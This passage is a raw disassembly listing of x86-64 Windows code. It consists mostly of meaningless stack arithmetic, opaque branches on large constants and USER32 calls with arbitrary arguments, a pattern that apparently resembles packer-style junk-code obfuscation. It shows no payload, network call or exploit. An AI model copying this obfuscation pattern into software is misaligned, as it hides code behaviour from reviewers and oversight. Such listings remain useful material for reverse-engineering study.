mov rcx, qword [rsp + 0x42e0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4208]
mov ecx, dword [rsp + 0x23f4]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x23d4], eax
mov rax, qword [rsp + 0x42f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x938]
sub eax, ecx
mov word [rsp + 0x93c], ax
mov rax, qword [rsp + 0x4260]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x55]
and eax, ecx
mov rcx, qword [rsp + 0x4260]
mov byte [rcx], al
mov rax, qword [rsp + 0x42f8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xee]
sub eax, ecx
mov rcx, qword [rsp + 0x4268]
mov byte [rcx], al
movzx eax, word [rsp + 0x93c]
mov rcx, qword [rsp + 0x42b0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x938], ax
movsx eax, byte [rsp + 0x55]
movsx ecx, byte [0x140125005]
sub eax, ecx
mov rcx, qword [rsp + 0x4260]
mov byte [rcx], al
movabs rax, 0x6f690862e8b5b1ce
mov rcx, qword [rsp + 0x4308]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4308], rax
mov rax, qword [rsp + 0x4208]
mov ecx, dword [section..data]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2378], eax
mov rax, qword [rsp + 0x4298]
movzx ecx, al
mov rax, qword [rsp + 0x41f0]
sar rax, cl
mov rcx, qword [rsp + 0x4280]
mov qword [rcx], rax
jmp 0x140005021
mov eax, dword [rsp + 0x2394]
mov dword [rsp + 0x2414], eax
mov rax, qword [rsp + 0x42f0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x42b0]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x938], ax
movzx eax, byte [rsp + 0xed]
movzx ecx, byte [rsp + 0xef]
or eax, ecx
mov byte [0x140125004], al
mov rax, qword [rsp + 0x42a0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x930]
shl eax, cl
mov rcx, qword [rsp + 0x42a0]
mov word [rcx], ax
movsx eax, byte [rsp + 0x55]
movsx ecx, byte [0x140125005]
and eax, ecx
mov rcx, qword [rsp + 0x4210]
mov byte [rcx], al
mov rax, qword [rsp + 0x42a0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x930]
add eax, ecx
mov rcx, qword [rsp + 0x42e8]
mov word [rcx], ax
mov rax, qword [rsp + 0x42c8]
mov rcx, qword [rsp + 0x4298]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x42c8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4208]
mov ecx, dword [rsp + 0x23f4]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2378], eax
movabs rax, 0x647820e9fcdd0ed0
mov rcx, qword [rsp + 0x4308]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4308], rax
mov eax, dword [rsp + 0x23cc]
mov ecx, dword [rsp + 0x2414]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x42e0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x2404]
add eax, 0xb3
mov dword [rsp + 0x2404], eax
movsx eax, word [rsp + 0x934]
movsx ecx, word [rsp + 0x734]
sub eax, ecx
mov rcx, qword [rsp + 0x42a0]
mov word [rcx], ax
mov rax, qword [rsp + 0x4260]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x55]
sub eax, ecx
mov rcx, qword [rsp + 0x4260]
mov byte [rcx], al
movsx eax, word [rsp + 0x934]
mov rcx, qword [rsp + 0x42a0]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x42e8]
mov word [rcx], ax
movzx eax, byte [rsp + 0xef]
mov rcx, qword [rsp + 0x4268]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xee], al
mov rax, qword [rsp + 0x42f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x938]
or eax, ecx
mov word [rsp + 0x93c], ax
movsx eax, word [rsp + 0x934]
movsx ecx, word [rsp + 0x930]
shl eax, cl
mov rcx, qword [rsp + 0x42a0]
mov word [rcx], ax
mov rax, qword [rsp + 0x42c8]
mov rcx, qword [rsp + 0x4248]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x41f0], rax
mov eax, dword [rsp + 0x23f4]
movzx ecx, al
mov eax, dword [rsp + 0x2378]
shr eax, cl
mov rcx, qword [rsp + 0x4208]
mov dword [rcx], eax
mov eax, dword [0x140126010]
mov ecx, dword [rsp + 0x2414]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x2394], eax
mov eax, dword [rsp + 0x23f4]
mov ecx, dword [rsp + 0x23d4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4208]
mov dword [rcx], eax
mov rax, qword [rsp + 0x42f8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4268]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x140125004], al
mov rax, qword [rsp + 0x4260]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4210]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x55], al
movzx eax, word [rsp + 0x93c]
mov rcx, qword [rsp + 0x42b0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x938], ax
mov rax, qword [rsp + 0x4268]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x42f8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xee], al
mov rax, qword [rsp + 0x42e8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x734]
and eax, ecx
mov rcx, qword [rsp + 0x42e8]
mov word [rcx], ax
mov rax, qword [rsp + 0x4208]
mov ecx, dword [rsp + 0x2378]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x23d4], eax
mov rax, qword [rsp + 0x42e0]
mov ecx, dword [rsp + 0x2414]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x42e0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x23f4]
mov ecx, dword [rsp + 0x2378]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4208]
mov dword [rcx], eax
mov rax, qword [rsp + 0x42c8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x41f0]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x4298], rax
movzx eax, word [rsp + 0x938]
mov rcx, qword [rsp + 0x42f0]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x42b0]
mov word [rcx], ax
movsx eax, byte [0x140125005]
movsx ecx, byte [rsp + 0x55]
shl eax, cl
mov rcx, qword [rsp + 0x4210]
mov byte [rcx], al
cmp dword [rsp + 0x2404], 0xfb14
jb 0x1400055a2
movsx eax, word [rsp + 0x734]
movsx ecx, word [rsp + 0x934]
or eax, ecx
movsx ecx, word [rsp + 0x930]
mov rdx, qword [rsp + 0x42e8]
movsx edx, word [rdx]
and ecx, edx
cmp eax, ecx
jle 0x140005a44
mov eax, dword [rsp + 0x2414]
mov ecx, dword [rsp + 0x2394]
add ecx, eax
mov eax, ecx
mov ecx, dword [0x140126010]
mov edx, dword [rsp + 0x23cc]
sub edx, ecx
mov ecx, edx
cmp eax, ecx
jle 0x140005a39
mov rax, qword [rsp + 0x4308]
mov qword [rsp + 0x4318], rax
movabs rax, 0xabea3279fe3cc690
cmp qword [rsp + 0x4318], rax
je 0x1400059c4
movabs rax, 0xcab81a63a3187e2b
cmp qword [rsp + 0x4318], rax
je 0x140005a24
jmp 0x140005a39
lea r8, [rsp + 0x1a090]
mov edx, 0xc7
lea rcx, str.Streaking_rendezvous
call qword [sym.imp.USER32.dll_EnumDisplaySettingsW]
mov dword [rsp + 0x2418], eax
mov rax, qword [rsp + 0x42a0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x42e8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x930], ax
mov rax, qword [rsp + 0x4208]
mov ecx, dword [rsp + 0x2378]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4208]
mov dword [rcx], eax
jmp 0x140005a39
mov rcx, qword [rsp + 0x4320]
call qword [sym.imp.USER32.dll_PaintDesktop]
mov dword [rsp + 0x241c], eax
call fcn.14010b900
nop
jmp 0x140109e21
lea rax, [rsp + 0x23cc]
mov qword [rsp + 0x4328], rax
lea rax, [rsp + 0x4308]
mov qword [rsp + 0x4330], rax
lea rax, [rsp + 0x4298]
mov qword [rsp + 0x4338], rax
mov eax, dword [section..data]
mov dword [rsp + 0x2420], eax
cmp dword [rsp + 0x2420], 0x5da3239d
je 0x140005a93
jmp 0x140005b46
mov r9d, 0x58
mov r8d, 1
mov edx, 0xe3
lea rcx, [rsp + 0x42e8]
call qword [sym.imp.USER32.dll_AdjustWindowRectEx]
mov dword [rsp + 0x2418], eax
mov rax, qword [rsp + 0x42a0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x734]
shl eax, cl
mov rcx, qword [rsp + 0x42e8]
mov word [rcx], ax
movsx eax, word [rsp + 0x734]
mov dword [rsp + 0x2424], eax
cmp dword [rsp + 0x2424], 0x17e7
je 0x140005b24
cmp dword [rsp + 0x2424], 0x73d5
je 0x140005b04
jmp 0x140005b41
movsx eax, byte [0x140125005]
mov rcx, qword [rsp + 0x4260]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x55], al
call fcn.14010b900
nop
jmp 0x140005b41
lea rdx, [rsp + 0x42e0]
mov rcx, qword [rsp + 0x4340]
call qword [sym.imp.USER32.dll_SetMenuInfo]
mov dword [rsp + 0x2398], eax
jmp 0x140109de8
movabs rax, 0x2483b16171644d54
mov rcx, qword [rsp + 0x4308]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4330]
cmp rax, qword [rcx]
je 0x140005c65
mov rax, qword [rsp + 0x4330]
movabs rcx, 0x80c5e2204f831afd
mov rax, qword [rax]
and rax, rcx
cmp rax, qword [rsp + 0x4308]
jae 0x140005c5d
mov eax, dword [rsp + 0x2378]
mov dword [rsp + 0x2428], eax
cmp dword [rsp + 0x2428], 0
je 0x140005c18
cmp dword [rsp + 0x2428], 0x190f13a
je 0x140005bbf
jmp 0x140005c50
movsx eax, byte [rsp + 0x55]
movsx ecx, byte [0x140125005]
add eax, ecx
mov rcx, qword [rsp + 0x4260]
mov byte [rcx], al
mov rax, qword [rsp + 0x4330]
movabs rcx, 0x13cc45d54b0901a8
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4308], rax
mov rax, qword [rsp + 0x4328]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2414]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x42e0]
mov dword [rcx], eax
jmp 0x140005c50
mov rax, qword [rsp + 0x4280]
mov rax, qword [rax]
mov qword [rsp + 0x4348], rax
mov rax, qword [rsp + 0x4208]
mov ecx, dword [rsp + 0x23f4]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x23d4], eax
mov dword [rsp + 0x242c], 0x1b38
mov dword [rsp + 0x2430], 0x3866
jmp 0x140005c63
call fcn.14010b900
nop
jmp 0x140005cbf
lea rdx, [rsp + 0x42a0]
mov rcx, qword [rsp + 0x42b8]
call qword [sym.imp.USER32.dll_GetClientRect]
mov dword [rsp + 0x2434], eax
movsx eax, word [rsp + 0x734]
mov rcx, qword [rsp + 0x42e8]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x42a0]
mov word [rcx], ax
movzx eax, word [rsp + 0x93c]
mov rcx, qword [rsp + 0x42b0]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x938], ax
mov dword [rsp + 0x2438], 0x8ad0
movsx eax, word [rsp + 0x930]
movsx ecx, word [rsp + 0x734]
shl eax, cl
mov rcx, qword [rsp + 0x42a0]
movsx ecx, word [rcx]
mov dword [rsp + 0x243c], ecx
mov rdx, qword [rsp + 0x42e8]
movsx edx, word [rdx]
movzx ecx, dl
mov edx, dword [rsp + 0x243c]
sar edx, cl
mov ecx, edx
cmp eax, ecx
je 0x140005d1d
mov ecx, dword [rsp + 0x23cc]
call fcn.14010a860
nop
jmp 0x140005e65
movabs rax, 0x60e3120302a1b61c
mov rcx, qword [rsp + 0x4308]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4330]
cmp rax, qword [rcx]
jae 0x140005e65
movsx eax, byte [rsp + 0x55]
mov rcx, qword [rsp + 0x4260]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x42a8]
mov byte [rcx], al
mov rax, qword [rsp + 0x4248]
mov rcx, qword [rsp + 0x41f0]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x4280]
mov rcx, qword [rcx]
mov rdx, qword [rsp + 0x4348]
sub rdx, rcx
mov rcx, rdx
cmp rax, rcx
jg 0x140005e0d
mov rax, qword [rsp + 0x42f8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4268]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xed], al
lea rax, [rsp + 0x4208]
mov qword [rsp + 0x20], rax
mov r9d, 0xe6
lea r8, [rsp + 0x4220]
mov edx, 0xde
mov rcx, qword [rsp + 0x4278]
call qword [sym.imp.USER32.dll_TileWindows]
mov word [rsp + 0x940], ax
movsx eax, word [rsp + 0x930]
mov rcx, qword [rsp + 0x42a0]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x42e8]
mov word [rcx], ax
jmp 0x140005e65
movzx eax, word [rsp + 0x93c]
movzx ecx, word [rsp + 0x938]
and eax, ecx
mov rcx, qword [rsp + 0x42b0]
movzx ecx, word [rcx]
mov rdx, qword [rsp + 0x42f0]
movzx edx, word [rdx]
add ecx, edx
cmp eax, ecx
jg 0x140005e65
lea r9, [rsp + 0x42e0]
lea r8, [rsp + 0x1a090]
mov edx, 0xa6
mov rcx, qword [rsp + 0x4350]
call qword [sym.imp.USER32.dll_GetScrollRange]
mov dword [rsp + 0x23a8], eax
cmp dword [rsp + 0x2438], 0xb288
je 0x14000608d
mov rax, qword [rsp + 0x4338]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4348]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4248]
mov qword [rcx], rax
movabs rax, 0x2876b8ce41fc6798
mov rcx, qword [rsp + 0x4308]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4330]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4208]
mov ecx, dword [rsp + 0x23d4]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4208]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4328]
mov eax, dword [rax]
mov ecx, dword [0x140126010]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x42e0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4268]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xef]
sub eax, ecx
mov rcx, qword [rsp + 0x4268]
mov byte [rcx], al
mov eax, dword [rsp + 0x2438]
add eax, 0xa4
mov dword [rsp + 0x2438], eax
movzx eax, word [rsp + 0x93c]
mov rcx, qword [rsp + 0x42b0]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x42f0]
mov word [rcx], ax
movsx eax, byte [0x140125005]
mov rcx, qword [rsp + 0x4260]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x55], al
movzx eax, byte [rsp + 0xed]
mov rcx, qword [rsp + 0x4268]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x42f8]
mov byte [rcx], al
movzx eax, word [rsp + 0x93c]
movzx ecx, word [rsp + 0x938]
sar eax, cl
mov rcx, qword [rsp + 0x42b0]
mov word [rcx], ax
mov rax, qword [rsp + 0x4328]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x23cc]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x42e0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4330]
movabs rcx, 0x8f5a6c808d793db0
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x4308], rax
mov rax, qword [rsp + 0x4298]
mov rcx, qword [rsp + 0x41f0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4338]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4208]
mov ecx, dword [rsp + 0x23f4]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x23d4], eax
mov rax, qword [rsp + 0x4260]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x55]
sub eax, ecx
mov rcx, qword [rsp + 0x42a8]
mov byte [rcx], al
movsx eax, byte [0x140125005]
mov rcx, qword [rsp + 0x4260]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x55], al
movzx eax, byte [rsp + 0xee]
mov rcx, qword [rsp + 0x42f8]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4268]
mov byte [rcx], al
mov rax, qword [rsp + 0x42a0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x930]
add eax, ecx
mov word [rsp + 0x734], ax
jmp 0x140005e65
mov rax, qword [rsp + 0x42a0]
movzx eax, word [rax]
mov word [rsp + 0x944], ax
mov rax, qword [rsp + 0x42c8]
mov rcx, qword [rsp + 0x4298]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x42c8]
mov qword [rcx], rax
lea rax, [rsp + 0x23cc]
mov qword [rsp + 0x4358], rax
lea rax, [rsp + 0x4308]
mov qword [rsp + 0x4360], rax
mov rax, qword [rsp + 0x4280]
mov rax, qword [rax]
mov qword [rsp + 0x4368], rax
cmp qword [rsp + 0x4368], 0
je 0x140006204
movabs rax, 0x184fa07c35cb943f
cmp qword [rsp + 0x4368], rax
je 0x14000611c
jmp 0x140006322
mov rax, qword [rsp + 0x4208]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x23f4]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x2378], eax
movsx eax, byte [rsp + 0x55]
movsx ecx, byte [0x140125005]
xor eax, ecx
mov rcx, qword [rsp + 0x4250]
mov byte [rcx], al
mov rax, qword [rsp + 0x4308]
mov qword [rsp + 0x4370], rax
movabs rax, 0x15af59361f94fadb
cmp qword [rsp + 0x4370], rax
je 0x14000618a
movabs rax, 0x1c16abfb38085894
cmp qword [rsp + 0x4370], rax
je 0x1400061e9
jmp 0x1400061ff
lea rdx, [rsp + 0x4378]
mov rcx, qword [rsp + 0x4230]
call qword [sym.imp.USER32.dll_SetWindowPlacement]
mov dword [rsp + 0x2418], eax
mov rax, qword [rsp + 0x42e8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x734]
sar eax, cl
mov rcx, qword [rsp + 0x42a0]
mov word [rcx], ax
mov rax, qword [rsp + 0x42b0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x42f0]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x93c], ax
jmp 0x1400061ff
mov rcx, qword [rsp + 0x4380]
call qword [sym.imp.USER32.dll_CopyIcon]
mov qword [rsp + 0x4388], rax
jmp 0x140006322
mov rax, qword [rsp + 0x42e8]
movsx eax, word [rax]
mov dword [rsp + 0x2440], eax
cmp dword [rsp + 0x2440], 0
je 0x140006225
jmp 0x140006301
mov eax, dword [rsp + 0x2394]
mov dword [rsp + 0x2444], eax
cmp dword [rsp + 0x2444], 0x46eeeb8a
je 0x140006245
jmp 0x1400062ff
movzx eax, word [rsp + 0x940]
movzx ecx, word [rsp + 0x938]
and eax, ecx
mov rcx, qword [rsp + 0x42b0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x55]
mov byte [rsp + 0x2448], al
cmp byte [rsp + 0x2448], 0x71
je 0x14000627a
jmp 0x1400062de
mov rax, qword [rsp + 0x4268]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xed]
sub eax, ecx
mov byte [rsp + 0xef], al
lea rdx, [rsp + 0x55]
mov rcx, qword [rsp + 0x4340]
call qword [sym.imp.USER32.dll_SetMenuInfo]
mov dword [rsp + 0x2418], eax
mov eax, dword [rsp + 0x23d4]
mov ecx, dword [rsp + 0x23f4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4208]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4358]
mov ecx, dword [rax]
call fcn.14010a860
nop
jmp 0x1400062ff
mov rax, qword [rsp + 0x4360]
mov rcx, qword [rsp + 0x4330]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x4308], rax
jmp 0x140006322
mov rax, qword [rsp + 0x4248]
mov rcx, qword [rsp + 0x41f0]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x4338]
mov qword [rcx], rax
mov rax, qword [rsp + 0x42e0]
mov ecx, dword [rsp + 0x2414]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x4328]
mov ecx, dword [rcx]
mov edx, dword [0x140126010]
sub edx, ecx
mov ecx, edx
cmp eax, ecx
jne 0x140109bfc
cmp dword [rsp + 0x23fc], 0xe833
ja 0x1400068cc
movsx eax, word [rsp + 0x944]
movsx ecx, word [rsp + 0x734]
sub eax, ecx
mov word [rsp + 0x934], ax
mov rax, qword [rsp + 0x4330]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4308]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4360]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4248]
mov rcx, qword [rsp + 0x4280]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4298], rax
mov eax, dword [rsp + 0x23f4]
mov ecx, dword [rsp + 0x23d4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4208]
mov dword [rcx], eax
mov eax, dword [rsp + 0x23cc]
mov ecx, dword [rsp + 0x2414]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x42e0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x42f8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xed]
and eax, ecx
mov rcx, qword [rsp + 0x42f8]
mov byte [rcx], al
movzx eax, word [rsp + 0x940]
movzx ecx, word [rsp + 0x938]
sub eax, ecx
mov rcx, qword [rsp + 0x42f0]
mov word [rcx], ax
mov rax, qword [rsp + 0x42e8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x42a0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x734], ax
movzx eax, byte [rsp + 0xed]
mov rcx, qword [rsp + 0x4268]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xef], al
mov rax, qword [rsp + 0x42f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x940]
shl eax, cl
mov word [rsp + 0x93c], ax
mov rax, qword [rsp + 0x4360]
mov rcx, qword [rsp + 0x4308]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x4330]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4348]
mov rcx, qword [rsp + 0x4280]
mov qword [rsp + 0x4390], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4390]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x4298], rax
mov rax, qword [rsp + 0x4208]
mov ecx, dword [rsp + 0x23d4]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x2378], eax
mov eax, dword [0x140126010]
mov ecx, dword [rsp + 0x2414]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x23cc], eax
mov rax, qword [rsp + 0x42b0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x42f0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x93c], ax
movzx eax, byte [rsp + 0xef]
movzx ecx, byte [rsp + 0xed]
add eax, ecx
mov byte [0x140125004], al
mov eax, dword [rsp + 0x23fc]
add eax, 0xf8
mov dword [rsp + 0x23fc], eax
mov rax, qword [rsp + 0x42e8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x934]
sub eax, ecx
mov rcx, qword [rsp + 0x42e8]
mov word [rcx], ax
movsx eax, byte [rsp + 0x55]
movsx ecx, byte [0x140125005]
sub eax, ecx
mov rcx, qword [rsp + 0x4210]
mov byte [rcx], al
mov rax, qword [rsp + 0x42a8]
movsx eax, byte [rax]
movsx ecx, byte [0x140125005]
add eax, ecx
mov byte [rsp + 0x55], al
mov rax, qword [rsp + 0x4208]
mov ecx, dword [rsp + 0x23f4]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x4208]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4338]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4348]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x41f0], rax
mov rax, qword [rsp + 0x42e0]
mov rcx, qword [rsp + 0x4328]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2394], eax
mov rax, qword [rsp + 0x4360]
mov rcx, qword [rsp + 0x4330]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x4308], rax
mov rax, qword [rsp + 0x42f0]
movzx eax, word [rax]
mov word [rsp + 0x940], ax
mov rax, qword [rsp + 0x4268]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xed]
or eax, ecx
mov rcx, qword [rsp + 0x4268]
mov byte [rcx], al
movsx eax, word [rsp + 0x734]
movsx ecx, word [rsp + 0x934]
sar eax, cl
mov word [rsp + 0x930], ax
movsx eax, byte [0x140125005]
mov rcx, qword [rsp + 0x4260]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x55], al
movsx eax, byte [0x140125005]
mov rcx, qword [rsp + 0x4260]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x55], al
movsx eax, word [rsp + 0x930]
movsx ecx, word [rsp + 0x734]
and eax, ecx
mov rcx, qword [rsp + 0x42e8]
mov word [rcx], ax
mov rax, qword [rsp + 0x4360]
mov rcx, qword [rsp + 0x4330]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4308], rax
mov rax, qword [rsp + 0x4208]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2378]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x23f4], eax
mov rax, qword [rsp + 0x42e0]
mov rcx, qword [rsp + 0x4328]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x23cc], eax
mov rax, qword [rsp + 0x4248]
mov rcx, qword [rsp + 0x4280]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x42c8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x23d4]
mov ecx, dword [rsp + 0x2378]
add ecx, eax
mov eax, ecx
mov dword [section..data], eax
mov rax, qword [rsp + 0x42f8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xee]
sub eax, ecx
mov rcx, qword [rsp + 0x4268]
mov byte [rcx], al
movsx eax, byte [0x140125005]
mov rcx, qword [rsp + 0x42a8]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4260]
mov byte [rcx], al
movzx eax, word [rsp + 0x938]
movzx ecx, word [rsp + 0x93c]
and eax, ecx
mov word [rsp + 0x940], ax
movzx eax, byte [rsp + 0xed]
movzx ecx, byte [rsp + 0xee]
sar eax, cl
mov byte [rsp + 0xef], al
mov rax, qword [rsp + 0x4208]
mov ecx, dword [rsp + 0x23f4]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x2378], eax
mov eax, dword [rsp + 0x23cc]
mov ecx, dword [rsp + 0x2414]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x42e0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4330]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4360]
mov qword [rsp + 0x4398], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4398]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x4308], rax
mov rax, qword [rsp + 0x4338]
mov rcx, qword [rsp + 0x4348]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4298], rax
mov rax, qword [rsp + 0x42e0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2394]
sub ecx, eax
mov eax, ecx
mov dword [0x140126010], eax
movzx eax, word [rsp + 0x93c]
mov rcx, qword [rsp + 0x42f0]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x42b0]
mov word [rcx], ax
mov rax, qword [rsp + 0x4250]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x42a8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x55], al
movsx eax, word [rsp + 0x934]
mov rcx, qword [rsp + 0x42e8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x42a0]
mov word [rcx], ax
jmp 0x140006351
movzx eax, word [rsp + 0x938]
movzx ecx, word [rsp + 0x940]
add eax, ecx
mov rcx, qword [rsp + 0x42b0]
movzx ecx, word [rcx]
mov rdx, qword [rsp + 0x42f0]
movzx edx, word [rdx]
sub ecx, edx
cmp eax, ecx
jl 0x140109a96
mov rax, qword [rsp + 0x41f0]
mov rcx, qword [rsp + 0x4348]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4338]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4250]
movzx eax, byte [rax]
mov byte [rsp + 0x244c], al
cmp byte [rsp + 0x244c], 0
